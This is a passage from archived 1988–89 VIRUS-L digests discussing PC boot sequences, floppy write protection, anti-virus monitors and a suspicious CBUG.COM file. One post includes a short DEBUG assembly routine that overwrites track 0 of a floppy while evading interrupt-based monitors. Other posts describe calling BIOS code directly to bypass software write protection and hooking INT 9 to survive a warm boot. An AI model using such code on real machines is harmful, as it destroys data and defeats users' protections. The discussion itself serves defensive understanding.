failed on real IBMs and succeeded on cheap clones.

>research (see his V1 #54 contribution) that disk controller ROM is loaded
>into RAM at boot time.  You could tweak it as you liked, then!  You could
>prevent it from being reloaded, you could change the logic states.

No, this makes no sense. There's no need to alter the BIOS code (which
is copied into RAM on _a_few_ fast machines), since the application
program can issue the INs and OUTs by itself.

Now, when a program issues an INT (or when it comes from the hardware)
the instruction pointer and the flags (6 bytes altogether) are pushed
onto the stack and a new instruction pointer is loaded from low
memory, e.g. from [13h*4] for INT 13. Most `virus prevention' programs
operate by intercepting various interrupts, re-directing them to a
code that tells the user what's going on before passing control to the
original INT 13 code. A clever worm can circumvent this, e.g. by
issuing PUSHF and far call to F000:EC59 on almost all PC compatibles
(For floppies only!!).

With the hard disk, it's slightly trickier. On _most_ machines, at
boot time INT 13 is redirected to another ROM routine which checks if
the drive is a hard or a floppy, and if the latter, passes control to
INT 40 (the original floppy-only INT 13). All the so-called
`write-protection' for hard disks is software-only indeed (I'm _still_
unaware of a single HD with a write-protect switch, what a damn
shame!) So, a worm can circumvent such protection by not calling a
straight INT 13, but jumping to the hard disk BIOS code directly.
This will also bypass the `protection' provided by booting from a very
old DOS that does not recognize the hard disk.

I don't see how a low-level format will help (a worm-infected hard
disk) unless the worm is hiding in the BIOS boot sector (where the
partition table lives).  If that is the case, you can just write
garbage there and re-run FDISK to recreate the partition table and the
new boot record and hope that your data is intact. (Of course this
won't work if your boot record is not vanilla, but something like DM,
but there's no reason to use that if you have DOS 3.3) If your
worm/virus is file-based, it'll survive the backup/restore.

>A virus or Trojan already present in memory (because it was run since
>the last cold boot) can trap keystroke combinations like Control-Alt-
>Delete and fake a warm boot by calling a similar BIOS routine that does
>not clear active memory.  Power users would probably detect this from

The reference is, apparently, to INT 19. However, INT 19 does not
reset any interrupt vectors. The only place where it can be used
safely is in the boot code itself (after `press any key') If you have
any OS code in memory and issue INT 19, the system will halt. If you
did not know that, _try_it_ before flaming me.

On machines with a `reset' button, the button tweaks a pin on the CPU
which causes it to stop whatever it was doing and jump to an address
in ROM (the same it jumps to when it's turned on) which does various
diagnostics, sets the interrupt vectors, etc. I see no way to
intercept this via software.

When a user presses ctl-alt-del, the keyboard code in BIOS (which is
invoked by INT 9 every time a key is pressed or released) jumps to
BIOS code that does a lot of machine-specific stuff, then redirects
interrupt vectors to their default values, then boots. A worm sitting
in memory (not a _virus_) would have to duplicate all the
machine-specific stuff for various possible machines, making it
_a_lot_ bigger than the Brain, to survive a worm boot. I.e. it's
feasible, but it would be quite large, and not generic (like the
Yale).

It's OK, I've seen worse statements associated with the Brain virus,
e.g. a user complained that it infected the BAT files on his hard
disk. If only we did not have so much hype/ignorance associated with
the subject...

>An IBM PC can write to a write protected floppy via a low level BIOS
>directive which bypasses DOS and directly addresses the diskette drive
>controller hardware.  If the BIOS directive is absent from some versions
>of DOS, it may still be possible to address the hardware below the BIOS

What nonsense, if you pardon my French. Ken should filter out such stuff.

>This topic has been kicked around inconclusively here for some time
>now, and unless someone can come up with a verifiable and duplicatable
>method to get around a properly write-protected disk, then I think
>that we should assume that it is not possible to circumvent.

Hear, Hear! If you've read so far, I hope you're so bored with the
subject that any further discussion of it will be banned. Why beat a
dead horse? Why throw pearls to porcupines? Etc.

Also:

>From:     Robert Slade <[e-mail]>
>Subject:  BRAIN in the USSR (PC)
>
>     No one has cross posted it yet, but RISKS 7.96 has an article
>about virus infection in the USSR.  They have, of course, developed
>the ultimate anti virus program, the details of which remain a state
>secret ...

To the best of my knowledge, the virus infected (a few of) their IBM
S/370 compatibles on AKADEMSET, an academic network similar to BITNET.
Apparently they still run RSCS v1, which is so full of holes that it's
just unsportsmanlike to take over the server. They patched up some of
the holes; a better solution would be to upgrade to ISO/OSI. What made
you think it had anything to do with Brain or PCs?


- -Dimitri Vulis
- -Math Dept
- -CUNY Graduate Center

[Ed. A very enlightening message, thank you.  With regards to
filtering out "such stuff", however, do you really think that it's
fair and even appropriate for me to filter out things that I feel may
not be technically correct.  For one, I just don't have the time to do
it.  Also, I don't want to be a censor; I want VIRUS-L to be an *open*
discussion forum where people can voice their opinions, as well as
pass on technical information.  If someone is incorrect in a technical
description, then it generally gets pointed out quite rapidly.  Case
in point - write protect notches.]

------------------------------

Date:         Tue, 27 Dec 88 16:10:31 MEZ
From:         Konrad Neuwirth <[e-mail]>
Subject:      Dirty Dozen

Where can I get the last copy of DD from, or what is the last edition ?

The copy from the listserv is from 05-05-88.

Or will it not be updated any more because it is already too long ?

tnx
Konrad

------------------------------

Date:  Tue, 27 Dec 88 11:22 MST
From:  [e-mail]
Subject:  Re: Brain virus (PC)

In Virus-L Digest 1.56 Jeff Ogata speculates on the capabilities of
the (C)Brain virus to infect via a bootable/non-bootable floppy disk.
My recent experience with the (C)Brain virus is thus:

We (myself, a colleague, and my course supervisor) received a copy of
the (C)Brain virus on a NON-BOOTABLE disk.  The disk's boot block,
however, was infected.  On a clean machine we placed this disk in
drive A: and attempted to boot with it.  We received the usual error
message about the disk being non-bootable, so then placed a bootable
(and write-protected) floppy into the drive.  Well, lo and behold, we
then executed some commands on a non- write-protected disk and this
disk became infected.  Thus we could only deduce that the machine
first executes the contents of the boot block and THEN checks to see
if the disk is bootable (a DOS disk).  This may have been mentioned
previously, but I thought it was apropos with regards to Jeff's recent
comments.


          Greg Lypowy
          Research Assistant
          Knowledge Sciences Institute
          University of Calgary
          Calgary, Alberta, CANADA UNCAMULT.BITNET)

------------------------------

Date:     Thu, 29 Dec 88 15:01 EST
From:     Dimitri Vulis <[e-mail]>
Subject:  Write Protection confusion (PC)

This kind of complacent thinking can be hazardous to your data!

>From: Steve Clancy <[e-mail]>
>I have used Trapdisk in the past and am very pleased with it.
>Trapdisk is a newer version of something that used to be called BOMB.
>I like it because it allows a command line, such as TRAPDISK WF as a
>command to write protect your disk against a write or format.  I also
>like being able to disable it at will (TRAPDISK U), but I do not like
>that it remains memory resident.  There is also another very good
>program called HDSENTRY.
>
>I'm afraid that I cannot comment on how well either handle
>sophisticated attempts to get around their protection.

Both of these programs (and others like them) are
_extremely_dangerous_. They give the user a false sense of security,
while it fact they provide _very_ _little_protection. They offer some
protection against amateurish benign programs, like Brain, that are
not really trying to destroy any data. They would not work against
something like ARC 5.13, which called BIOS through CALL, not via INT,
and you are more likely to run something like it, because you believe
that you're protected, and use less discretion in deciding what to run
on your machine. As an illustration, `write-protect' a floppy (which
you don't need---you will have to re-format it) _in_software_ and run
the following code in DEBUG:

    MOV     AX,0309
    XOR     BX,BX
    XOR     CX,CX
    XOR     DX,DX
    MOV     ES,DX
    PUSHF
    CALL    F000:EC59
    RET

This will write garbage over track 0 in floppy drive A:, and no
software will notice. A similar approach can (and was) used for hard
disks. Here it's a little trickier, and I will not post the code for
obvious reasons, but the thing to remember is that such `software
write protect' can do very little against a Trojan horse intent on
destroying data on the hard disk.

>From: Richard Baum <[e-mail]>
>...      It seems  that the  circut tried to   reflect light off  of a
>mirror  on the opposite  side of  the  slot where  the   diskette  was
>supposed to go....

Ha Ha. Except, some early PC compatibles had this kind of sensors too.
(I mentioned this in an earlier message.) Scotch tape does not work in
some newer drives with optical sensors.

3.5" drives use a completely different mechanism, as we all know; a
little thing slides back and forth, etc, and I don't have a technical
reference here to verify that it's purely hardware, but I'd bet my
life that it is too. Since there is little doubt here that the sensor
is optical and little choice of tab material (you use whatever's
already on the drive!) such problems should not occur.

> Leonard P. Levine
>Sorry folks, but my technical folks tell me that the write tab on a
>floppy is a soft thing.

Whoever pays these folks salary should be informed of this, so s/he
can stop wasting his/her $$$. The following is meant as a flame of
Milwaukee's incompetent technical folks, not of Prof. Levine
personally.

>I now get that there is a line from the drive to its controller that
>is high when the disk is write protected.  A switch (this was actually
>done) in that line can emulate a write locked or unlocked state
>independent of a tab on the disk.  Thus, at the drive level, the
>protection is not hardware.

IBM Personal Computer AT High Capacity Diskette Drive insert says:
(Page 4)
- -Write Gate
An active level of this input enables the write current circuits...
(Page 5)
- -Write protect
An active level of this signal means that a diskette without a
write-protect notch is in the driver. The drive will not write when a
protected diskette is loaded.

Ditto Personal Computer AT Double Sided diskette Drive insert (same
words, same page).

The logic diagram shows a `Write protect sensor' wired to -WriteProtect.

Certainly, one can disable the `Write Protect Sensor', which is a kind
of lever on the very old driver, e.g. with a screwdriver. This is how
software gets on those distribution disks without a notch, in case you
wondered (i.e. the drive will write whether or not the notch is
covered). Why insert a switch? And what is all this, if not hardware?
Mindware?

>They also tell me that the controller ROM is loaded into RAM at boot
>time, and may be reloaded by the processor during program execution.
>I am not sure what this implies but it seems to improve the chances
>that a change in the driver will be corrected from time to time.

The BIOS routines might conceivably be altered/sabotaged on machines
that copy it to fast RAM. What good (or bad) will this do in terms of
write protection?  There is no supervisor mode on the PC. The
application program can issue the same INs/OUTs as the BIOS routines
with the same degree of success, since the FDC microcode is not
compromized.

>My people tell me that the controller merely sets an interrupt when an
>attempt is made to write to a locked disk.  They feel, but have not
>tested, that an attempt to write around the bios can ignore this
>interrupt.  If they are right, there is no such thing as a write
>locked disk in the pc environment.

I feel that people should stop wasting the bandwidth on the stuff
other people feel, believe, or have heard. I am sorry if I'm being
rude, but my mailbox is _stuffed_ by this write-protect discussion,
people discussing stuff they know nothing about and saying total
nonsense. I _used_ to enjoy reading this list very much and I'd be
rather upset if I have to unsubscribe from it because the
pearl-to-manure ratio continues to approach zero.

>From: Ken van Wyk <[e-mail]>
>When writing to floppy disk, the code instructs the disk controller to
>perform the write sequence, and *THEN* it checks to see whether that
>failed due to (among other things) a write protect situation.

Precisely. To be even more precise, it initiates the operation and
waits for the interrupt. When the operation is complete (whether
success or failure), an interrupt routine (on page 5-72) sets the flag
saying the interrupt has occurred. Then the routine on page 5-72 reads
the latches from the FDC and stores their values in low memory. Their
values are explained in the old edition of Tech ref, but not in this
one. The FDC does not `test' for write protection until the whole
operation is set up, and if it fails, then there's nothing to continue
or restart. The same protocol has to be followed if you issue the
commands from the app program.

>                                            until anyone can send me a
>few lines of MASM code that will write to a properly functioning
>write-protected floppy disk.  Any takers?

The catch phrase is `properly functioning', of course. No thanks! :)

....
>When I found some of my 5.25" floppies infected with the Brain virus,
>some folks at the labs and computing center told me that a
>write-protected disk couldn't get infected because the
>write-protection mechanism was "hardware controlled" and couldn't be
>circumvented by any software. So I was confused when I read the lines
>(above) because the information given to me by the lab operators is
>wrong and it is possible to bypass "write-protection" using software.

Your operator knows what s/he's talking about. The user who posted the
message does not. Trust the operator. (I'd hate to be at a place where
users have such an attitude.)

I think Ken is doing a terrific job, but it worries me that this list
(which many people consider highly authoritative) is used to spread
false and harmful rumors. First there was the nonsenical warning about
a modem virus, that many `novice' users took seriously; now there's
this. There is an incredible amount of ignorance and computer
illiteracy out there. We all should be more careful about what we
post.

- -Dimitri Vulis
- -Math Department
- -CUNY Graduate Center

------------------------------

End of VIRUS-L Digest
*********************[ Last modified 23 January 89 - Ken van Wyk ]

Welcome!  This is the  semi-monthly introduction posting   to VIRUS-L,
primarily for the benefit of any newcomers  to the list.   Many of you
have probably already seen  a message (or two...)  much like this, but
it does change from time to time, so I would appreciate it if you took
a couple of minutes to glance over it.



What is VIRUS-L?

It is an electronic mail discussion forum for sharing  information and
ideas about computer  viruses.  Discussions should include   (but  not
necessarily  be limited to): current  events  (virus sightings), virus
prevention    (practical  and   theoretical),    and  virus    related
questions/answers.   The list  is moderated  and digested.  That means
that  any message coming  in gets  sent  to  me,  the  editor.  I read
through the messages and make sure  that they adhere to the guidelines
of the list (see below) and add them to the  next digest.  Weekly logs
of digests are kept by the LISTSERV (see below  for  details on how to
get them).  For  those interested in statistics,  VIRUS-L is now (Jan.
23, 1989) up to 950  direct subscribers.  Of  those, approximately  80
are local redistribution accounts with an unknown number of readers.

As stated above, the list is digested and moderated.  As such, digests
go out when a) there are enough messages for  a digest, and  b) when I
put all incoming (relevant) messages into the digest.  Obviously, this
can   decrease   the  timeliness of urgent    messages such  as  virus
warnings/alerts.  For that, we have a sister list called VALERT-L.  It
is unmoderated  and undigested  - anything  going in  to the list goes
directly  out  to  all  the  subscribers, as  well  as  to VIRUS-L for
inclusion in the  next available  digest.   VALERT-L is for  the  sole
purpose of  rapidly sending out  virus alerts.   Anyone who  does  not
adhere to this  one guideline of  VALERT-L will be immediately removed
from the list.   That is, no news   is good  news.  Subscriptions  and
deletions to  VALERT-L are  handled identically as  those  for VIRUS-L
(see instructions below).


What VIRUS-L is *NOT*?

A place to  spread hype about  computer  viruses;  we already have the
Press for that.  :-) A place to sell things, to panhandle, or to flame
other subscribers.  If anyone *REALLY* feels the need to flame someone
else for something that they may have  said, then the flame  should be
sent directly to that person and/or to the list moderator  (that would
be me, <[e-mail]>).


How do I get on the mailing list?

Well, if you are  reading this, chances are *real  good* that  you are
already on the list.  However, perhaps this  document was given to you
by a friend or colleague...  So, to get onto the VIRUS-L mailing list,
send a mail message to <[e-mail]>.  In the body of the
message, say nothing more than SUB  VIRUS-L your name.  LISTSERV  is a
program which automates mailing lists such as VIRUS-L.  As long as you
are either on BITNET, or any network accessible to BITNET via gateway,
this  should work.  Within  a short time, you will  be  placed  on the
mailing list, and you will get confirmation via e-mail.


How do I get OFF of the list?

If, in  the unlikely  event, you should  happen  to want to be removed
from  the   VIRUS-L     discussion    list,   just    send   mail   to
<[e-mail]>  saying  SIGNOFF VIRUS-L.   People, such as
students, whose accounts are going to be closed (for example, over the
summer...) - PLEASE signoff of  the list before  you leave.  Also,  be
sure to send your signoff request to the LISTSERV and  not to the list
itself.  Note that the appropriate node  name is LEHIIBM1, not LEHIGH;
we have a node called LEHIGH, but they are *NOT* one and the same.


How do I send a message to the list?

Just send electronic mail  to  <[e-mail]>  and it  will
automatically be sent to the editor for possible inclusion in the next
digest to go out.


What does VIRUS-L have to offer?

All  VIRUS-L  digests  are stored in  weekly   log  files which can be
downloaded by  any user on  (or off) the mailing  list.  Note that the
log files contain all of the digests from a particular week.  There is
also a small archive  of some of the  public anti-virus programs which
are currently available.  This  archive, too,  can be accessed  by any
user.  All  of this is  handled automatically by the  LISTSERV here at
Lehigh University (<[e-mail]>).


How do I get files (including log files) from the LISTSERV?

Well, you will first want  to know what  files are   available on  the
LISTSERV.  To do this, send mail  to <[e-mail]> saying
INDEX VIRUS-L.   Note   that filenames/extensions  are  separated by a
space, and not by a period.  Once  you  have decided which file(s) you
want,  send   mail to  <[e-mail]> saying  GET filename
filetype.  For example, GET VIRUS-L LOG8804 would get the  file called
VIRUS-L LOG8804 (which happens to be the  monthly  log of all messages
sent to VIRUS-L during   April,  1988).  Note  that, starting  June 6,
1988, the logs  are weekly.  The  new file format is  VIRUS-L LOGyymmx
where yy is  the year  (88, 89, etc.),  mm is the  month, and x is the
week (A, B, etc.).  Readers who prefer digest format lists should read
the  weekly logs  and sign   off   of   the  list  itself.  Subsequent
submissions to the list should be sent to me for forwarding.

Also available is a  LISTSERV at SCFVM which  contains more anti-virus
software.   This  LISTSERV  can  be  accessed  in  the  same manner as
outlined   above,   with  the    exceptions  that    the  address   is
<[e-mail]> and that the commands to  use are INDEX PUBLIC
and GET filename filetype PUBLIC.


What is uuencode/uudecode, and why might I need them?

Uuencode and uudecode are two programs which convert binary files into
text (ASCII) files and back  again.  This  is so binary  files can  be
easily transferred via  electronic mail.  Many  of  the files on  this
LISTSERV  are binary files  which are stored in uuencoded  format (the
file types will be  UUE).  Both uuencode  and  uudecode  are available
from the LISTSERV.  Uudecode is available in BASIC and in Turbo Pascal
here.  Uuencode is available in Turbo  Pascal.  Also, there  is a very
good binary-only uuencode/uudecode  package on the LISTSERV  which  is
stored in uuencoded format.


Why have posting guidelines?

To keep the discussions on-track with what the list is intended to be;
a vehicle for virus  discussions.   This will keep the network traffic
to a minimum and, hopefully, the quality of the content of the mail to
a maximum.



What are the guidelines?

     Try to keep messages relatively short and to the  point, but with
     all relevant information included.   This serves a  dual purpose;
     it keeps network traffic to  a necessary minimum, and it improves
     the likelihood of readers reading your entire  message.

     Personal information and  .signatures  should   be  kept to   the
     generally accepted maximum of 5   lines of text.  The editor  may
     opt  to shorten  some lengthy   signatures (without deleting  any
     relevant  information, of course).  Within   those  5 lines, feel
     free to be a bit, er, creative if you wish.

     Anyone  sending  messages   containing, for  example,   technical
     information should   *PLEASE*  try  to  confirm their  sources of
     information.  When possible, site  these sources.  Speculating is
     frowned upon -  it merely  adds confusion.  This editor does  not
     have the time to confirm all contributions  to  the list, and may
     opt to discard messages which do not appear to have valid sources
     of information.

     All messages sent  to  the list  should have appropriate  subject
     lines.  The subject lines should  include the type of computer to
     which the message  refers, when applicable.  E.g., Subject: Brain
     virus detection (PC).  Messages without appropriate subject lines
     *STAND A GOOD CHANCE OF NOT BEING INCLUDED IN A DIGEST*.

     As already  stated, there will  be no flames  on the list.   Such
     messages will be discarded.

     The same goes for any commercial plugs or panhandling.

     Submissions  should be directly   or indirectly   related  to the
     subject of computer viruses.  This one is particularly important,
     other subscribers really  do not want to  read  about things that
     are  not  relevant  -    it only  adds to  network    traffic and
     frustration for the people reading the list.

     Responses to queries should be sent  to the author of  the query,
     not to the entire list.  The author should then send a summary of
     his/her responses to the list at a later date.

     "Automatic  answering machine" programs (the ones  which reply to
     e-mail for you when you are gone) should be set to *NOT* reply to
     VIRUS-L.  Such  responses sent to  the entire list are  very rude
     and will be treated as such.

     When sending in a submission, try  to see whether or  not someone
     else  may have just said  the same  thing.   This is particularly
     important when  responding to postings   from someone else (which
     should be sent to that person *anyway*).  Redundant messages will
     be sent back to their author(s).

Thank-you for your time  and for your  adherence to these  guidelines.
Comments and suggestions, as always, are invited.  Please address them
to me, <[e-mail]> or <[e-mail]>.


Ken van WykVIRUS-L Digest            Wednesday, 11 Jan 1989        Volume 2 : Issue 10

Today's Topics:
oops, editorial typo
"False Sense of Security"
PC Boot sequencez
Boot sequence (PC)
Request for information

---------------------------------------------------------------------------

Date: Tue, 10 Jan 89 16:47:37 est
From: ubu![e-mail]
Subject: oops, editorial typo

From my own editorial comment:
> I suppose the appropriate caveat here is that we have to take *any*
> report of a virus until it can be verified.

Oops, saw this just as the digest was leaving my screen for the
LISTSERV...  That was *supposed* to say that we have to take any
report of a virus with a grain of salt until it can be verified.
                  ^^^^^^^^^^^^^^^^^^^^
The point being - don't trust a virus report until you've gotten
verification from a reputable source.  E-mail, in general, may not be
a reputable source.  It's important to follow up a virus report via
some other form of media, like a phonecall to the author of the
report.

Apologies for the typo, I got a bit carried away with the editor...

Ken

------------------------------

Date:  Tue, 10 Jan 89 21:41 EST
From:  [e-mail]
Subject:  "False Sense of Security"

Y. Radai writes:

>  I don't agree that such programs provide very little protection.  I
>think that the viruses (and worms and Trojans) against which they do
>afford protection (they may be "amateurish" but they're not
>necessarily benign!) are still in the majority (at least among those
>viruses which have become widespread).  And I think that it is well
>worth protecting oneself against them, even if more sophisticated
>viruses exist as well and will become more prevalent in the future.

I think that another useful distinction can be made here.  I suggest
that such software, to the extent that it makes the machine on which
it exists different from the population at large, goes a long way to
making that machine immune to viruses.  It is less effective in
protecting it against Trojan Horse attacks which are specifically
aimed at it.

Viruses exploit the similarities among systems.  Its success is
independent of its ability to infect any particular machine.  Indeed
it is naive to anticipate viruses that can account for any and all
arbitrary differences among machines.  To quote a famous hacker "why
would anyone do that?"

One of the problems with viruses is that they can be successful even
in a population in which many of the targets are partially, or even
totally, immune.  (Note that the Internet Worm was extremely
successful, and very disruptive, in a population in which the majority
of the machines were not suited to it.  It was also disruptive to
machines in which it could not execute.  It interfered with their
normal traffic and it sent them attack traffic.  Nonetheless, the
vulnerability to viruses arises, in part, because there exists a large
population of similar machines.  In a world in which no two machines
had any predictable similarity, then, while we might still have Trojan
Horses, we would have no viruses.

[Flame on.]

William Hugh Murray, Fellow, Information System Security, Ernst & Whinney
2000 National City Center Cleveland, Ohio 44114
21 Locust Avenue, Suite 2D, New Canaan, Connecticut 06840

------------------------------

Date:         Tue, 10 Jan 1989 22:01 CST
From:         John Ladwig <[e-mail]>
Subject:      PC Boot sequence

An anecdote regarding messages returned when booting non-system
diskettes.

In "Brain and the boot sequence (PC)" (VIRUS-L v2 #5), Dimitri
Vulis writes:

[The boot process...]
> reads in the beginning of the directory and checks that
> the first 2 files are IBMBIO.COM and IBMDOS.COM (for PC-DOS) or IO.SYS
> and MSDOS.SYS (for generic MS-DOS). If they are not, it displays (via
> INT 10) the message: `Non-system disk or disk error, replace, strike
> any key when ready', waits for a keystroke and does INT 19 again. Of
> course, it's trivial to replace this message by anything you like,
> including a German one, and ROM BIOS has nothing to do with this.

Diskettes formatted using the SideKick Plus 'File Manager'
display the following message if the are booted without being
SYSed:

       Hand crafted by the SideKick Plus File Manager

       Gavaskar, Bradman, Grace, Compton, Richards, Khan,
       Knott, Hadlee, Trueman, Lillee, and Holding.

       Remove the disk from the drive and press any key
       to restart the system.

The text is found in the boot sector, starting at offset 52 (decimal).
The text "SKDOS1.0" appears at offset 4.

I must say that I was a bit surprised when I discovered this by
accident.  (Goes to show that you should read the manual thoroughly
:-))

------------------------------

Date:     Wed, 11 Jan 89 01:05 EST
From:     Dimitri Vulis <[e-mail]>
Subject:  Boot sequence (PC)

(Please excuse the long quotes)

>  The other point:  In V2 #5, Dimitri wrote:
>>       ... it reads in the beginning of the directory and checks that
>>and MSDOS.SYS (for generic MS-DOS). ....
>>If these files are there, it reads (using INT 13) the first one (DOS
>>low-level routines, _not_ BIOS---BIOS is in ROM!) into memory, usually
>>at 70:0, and jumps there. IBMBIO.COM then loads the rest of DOS.
>  The clause "it reads ... the first one [i.e. IBMBIO.COM or IO.SYS]
>into memory" is not quite accurate.  It seems that what actually
>happens is that the disk bootstrap routine loads a certain number of
>sectors, starting from the beginning of the data area, into RAM, under
>the *assumption* that these contain IBMBIO.COM/IO.SYS.  Depending on
>the implementation, it may also do the same with the following sectors
>on the assumption that they contain IBMDOS.COM/MSDOS.SYS, or else the
>former program may load the latter.  But if the disk has been tampered
>with, it is not necessarily these two files which will get loaded.
>                                           Y. Radai

I stand by what I said. The SYS command does a lot of elaborate
checking to make sure that IBMBIO.COM fits contigiously into the first
data sectors on disk. FORMAT/S just writes the file into the first
data sectors. The boot code has to make certain assumptions---there's
not enough room for the logic to read the FAT and compute the
sector/track for each cluster to simulate a file call.  So, it assumes
that if the disk has IBMBIO.COM and IBMDOS.COM as the first files in
the directory, (and finding that takes room too) and if they are
hidden/system, then the code assumes that the disk is OK and
IBMBIO.COM is indeed in the first data sectors. It computes the
sector/track for these sectors and (ordinarily) reads in the file
using INT 13 (note the wording).  Certainly, one can mess around with
a disk and create one that won't boot, because IBMBIO.SYS is not at
the beginnig. This would require some (a little) conscious effort and
cannot easily be done with just FORMAT/S or SYS. I was describing a
successful boot, in which the file is read into memory.

Regarding the other point (Trojan-protection software):

That's a matter of opinion. FSP 1.4 is the only such program that I'm
familiar with that is marginally acceptable to me. The previous
versions of it did more harm than good. Most other programs of this
type (that intersept INT 13 and report suspicious activity) are
useless. What good is a program that indiscriminately reports _every_
disk access? It is unconscienable(sp?) that some crooks charge money
for such programs and use cheap scare tactics to induce dumb ignorant
people to pay for them. By the way, I don't even use FSP 1.4, and
here's the reason: some time ago (years) I called Ross Greenberg's
BBS, and there was a message from him saying that over 50% of uploads
to his board turn out to be Trojans. I'm not implying that the guy is
unstable, but I'd rather see the source code for a program that
intercepts disk access and can potentially do very nasty things
(remember NOTROJ?).

Also, by the way, last semester I wrote a short (COM file) virus for
my cryptography class that _infected_ FSP 1.4.

>  The only argument which Dimitri gives for his statement is that one
>might be lulled into using less discretion in deciding what to run on
>his machine.  Now I would understand this argument in a situation
>where anti-viral software is sold to naive customers under the false
>pretense that it will prevent all types of infection.  But are we so
>naive?  To give the impression, as Dimitri does, that it is worse to
>use such software than not to use it, is certainly not correct in
>general.  He doesn't explain just what his notion of discretion
>consists of, but whatever it may be, why can't we use *both*
>anti-viral software *and* discretion ....??

What do I mean by discretion? Well, I don't download software from
BBS's anymore (too bad), I back up everything I've done at the end of
the day (have been for many years), and I don't have stuff (executable
and other) online that I don't need. I don't happen to use a
floppy-based machine, but if I did, I'd make sure I reboot from a
write-protected floppy I can trust.

If you look at the ads in US computer magazines, that's exactly what's
said/implied: 1) _everyone_ needs such programs, 2) they offer 100%
protection.  I'm willing to believe that Israeli users are smarter
than American users. In this country even complete idiots (pardon my
French) use PCs---just read some of the recent messages in this very
digest. When you place a very stupid and ignorant individual in front
of a PC without giving him/her adequate instruction, you open a
Pandora's box of problems, one of which is this Virus/Trojan thing.
How many of your users can say whether this is true or false (for an
IBM PC; Mac is something else yet):

(1) Virus software can override write-protect tabs

(2) Viruses can spread via e-mail messages

(3) Viruses are the most common type of Trojan horse programs

(4) A virus can spread from a PC to VAX or VM and vice versa

Such a misinformed individual will typically pay some gonef $$$ for a
piece of code that TSRs and checks for INT 13 functions `write',
`format', `format fancy', `format fancy with twist', etc, without
analysing where they came from; it will produce too much output and
s/he will habitually turn it off; nevertheless, s/he will feel fully
protected and will promiscuously load all kinds of suspect software
and will never take a backup. (We have, by the way, a gay fellow, a
good mathematician, who does not believe that AIDS is caused by a
virus, or, for that matter, is spread sexually; and he's still alive!)

------------------------------

Date:    Wed, 11 Jan 89 02:32:12 EST
From: <[e-mail]> (Douglas Howell)
Subject: Request for information

  Hello.  I am wondering if any of you might be able to help
me.  I'm doing a study on viruses and would like to get any
information available on them.  Particularly I would like to
ask anyone who has a virus which has been disected with
accompaning documentation to send it to me. I am new to this
list so I have not had much time to read through past issues
yet.  I shall do that when classes resume.
    Could anyone explain to me how to construct a virus.
Just the basics will do nicely.  I'll gladly accept any
information that is sent to me no matter it's length.  I'll
also be needing information on how to deactivate the
'common' virus.
    I realize that this is a lot to ask, but I'm hoping that
many of you will respond and help me out.
I wish to state right here and now that I am not requesting a
living or active virus or trojan horse.  This is my third
revision and yet the clarity of my request still remains in
question.  I relize the severity of what I ask for, and for
all intensions I see no harm in it.  Please contact me directly
if there are any questions.

                    Douglas Howell
                    (xc60039@Portland)

[Ed. Doug has revised this message a few times, and each time I sent
it back because he was requesting a copy of a virus; something which I
will not promote here on VIRUS-L.  I believe that it is a bad idea to
send copies of viruses to others, particularly when requested only via
e-mail.  I trust that anyone responding to such a request will
exercise due caution.]

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest            Wednesday, 11 Jan 1989        Volume 2 : Issue 11

Today's Topics:
Re: proprietary vs pd software
boot sequence (PC)
VIRUS ALERT: possible virus... keywords: CBUG, WEIRD (PC)

---------------------------------------------------------------------------

[Ed. While trying to move the editing of VIRUS-L over to a different
machine today, I had a fight with the LISTSERV - it was converting my
address to uppercase, and Xenix wasn't delivering the mail to me.
It's possible that, during the scuffle, one or two messages to the
list were lost, and/or sent back to their author(s).  If this happened
to you, please resubmit your message, and I apologize.]

Date:         Wed, 11 Jan 89 13:51:35 EST
From:         Neil Goldman <[e-mail]>
Subject:      Re: proprietary vs pd software

Stan Horwitz writes that Fred Cohen has determined that proprietary
software is a more common source of viruses than public domain (and
shareware?) software is.  This seems contrary to all the discussion I
have read and participated in on this list as well as in published
reports (for whatever they are worth).

I am very interested in how Dr. Cohen has determined this.

Comment?

Neil A. Goldman                        [e-mail]

Replies, Concerns, Disagreements, and Flames expected.
Mastercard, Visa, and American Express not accepted.
Acknowledge-To: <NG44SPEL@MIAMIU>

------------------------------

Date:        11 January 89, 20:00:17 +0100 (MEZ)
From:        Otto Stolz         [phone]     RZOTTO   at DKNKURZ1
Subject:     boot sequence (PC)

> When a user presses ctl-alt-del, the keyboard code in BIOS [...]
> redirects interrupt vectors to their default values, then boots. A
> worm sitting in memory (not a _virus_) would have to duplicate all the
> machine-specific stuff for various possible machines

What if the virus (why not?), or worm, simply hooks Int 9?

Then it could fake the warm boot by resetting the interrupt vectors
in a non-standard way that allowed itself to survive in memory and then
jumping to the booting code.  The machine-specific stuff would only be
the default values of the interrupt vectors (may be, even they are rather
standard, or can be derived from the memory contents -- I don't know).

Or it could infect the disk/diskette to be booted from, and then rely
on BIOS to be installed again;  the machine specific stuff would be nil,
and if it was a boot-sector virus, all required subroutines would already
be part of it.

Just a thought...

O, I just remember some expert told me that the Yale virus did redefine
Ctrl-alt-Sequences.  Hence I guess, my thought is not so far off from
what virus-inventors might consider.  So, be prepared!

Conclusion: Never, ever, warm-boot an infected computer.

Best wishes
            Otto

------------------------------

Date:         Wed, 11 Jan 89 16:04:00 EST
Sender:       Virus Alert List <[e-mail]>
From:         Michael Brown <[e-mail]>
Subject:      VIRUS ALERT: possible virus... keywords: CBUG, WEIRD (PC)

    *Something a bit strange has appeared in one of our IBM PC labs.*

     One of our AT clones has a file called C:\CBUG.COM. Running CBUG.COM
has the following effect: The first time the Y key is pressed, it
prints the message "YOUR COMPUTER IS NOW INFECTED WITH SOME WEIRD VIRUSES",
and it hangs the system. A warm boot will restore the system to normal.

I looked at the file with PCTOOLS. It is a normal .COM file with a
length of 149 bytes. The message is clearly embedded in the beginning of
the file. The rest of the file contains  a block of 00h then a irregular
pattern of 00h 0Fh and FFh. The file is dated 1/01/80 (which is unusual,
because that machine has a clock, and usually get the date right) and
the machine is running PCDOS 3.3.

I checked the disk for other occurrences of the message, but it seems
to only be there once.

If I cold start the system:
 - run CBUG once, and type a Y, I get the message and the system hangs
 - run CBUG twice, and type a Y, I get the message and the system hangs
 - either time the system will warm boot
 - run CBUG three times, and type a Y, I get the message, the next time
   I type a Y it displays the message again and again until the fourth time
   the Y key is typed, then the system hangs and I cannot do a warm boot.
- - something similar happens if I run CBUG four times.
- - If I run CBUG five times, the number of time before the system hangs
  is irregular, but it always displays the message.

Enough said.

1) Has anyone seen this before????
2) Any suggestions????

I am planning on working on it tonight, using the following procedure...
- - Installing FSP 1.4 on the machine. (I have never used FluShot+, but from
